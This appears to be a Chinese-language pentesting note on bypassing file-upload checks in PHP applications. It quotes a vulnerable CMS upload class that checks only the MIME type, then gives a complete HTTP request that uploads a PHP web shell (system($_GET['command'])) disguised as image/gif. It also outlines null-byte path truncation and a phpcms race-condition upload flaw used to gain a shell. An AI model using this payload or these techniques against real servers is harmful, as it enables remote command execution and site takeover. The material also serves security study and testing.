class upload {
    private $allow_image_type = array(‘image/jpg‘, ‘image/gif‘, ‘image/png‘, ‘image/pjpeg‘);
......
    function img_upload($file, $dir = ‘‘, $imgname = ‘‘){
        if(empty($dir)){
            $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
        }else{
            $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
        }
   
        if(!file_exists($dir)){
            if(!mkdir($dir)){
                showmsg(‘上传过程中创建目录失败‘);
            }
        }
        if(empty($imgname)){
            $imgname = $this->create_tempname().$this->get_type($file[‘name‘]);
        }
        $imgname = $dir . $imgname;
        if(!in_array($file[‘type‘],$this->allow_image_type)){
             //只是检测了文件头部来着，那我们就直接构造一个SHELL就好了
            showmsg(‘不允许的图片类型‘);
        }
}

Payload:
            然后我们可以将request 包的Content-Type 修改
            POST /upload.php HTTP/1.1
            TE: deflate,gzip;q=0.3
            Connection: TE, close
            Host: localhost
            User-Agent: libwww-perl/5.803
            Content-Type: multipart/form-data; boundary=xYzZY
            Content-Length: 155
            --xYzZY
            Content-Disposition: form-data; name="userfile"; filename="shell.php"
            Content-Type: image/gif (原为Content-Type: text/plain)//$_FILES["file"]["type"]
            <?php system($_GET[‘command‘]);?>
            --xYzZY--

 3.服务器检测绕过(目录路径检测)
            Filename 可以控制，直接进行%00截断看看能不能搞定

     4.文件名检测
            下面就是去检测:$_FILES["file"]["name"]
            再次注意:如果文件名进入数据库也有可能造成注入的。

        
    5.文件上传逻辑漏洞
            http://www.leavesongs.com/PENETRATION/after-phpcms-upload-vul.html
            不得不又一次膜拜p神......
            文件上传，支持zip上传，但是这个phpcms没有对子目录下的文件，进行验证。导致getshell
            而且有了一个竞争上传的概念。。。。
            文件是先在服务器存在了，然后再验证文件名的可靠性。不合法就删除。那就出现问题了，在存在时候，我们可以一整去访问这个php，而这个php的功能就是写马。这样就可以成功getshell了。。。。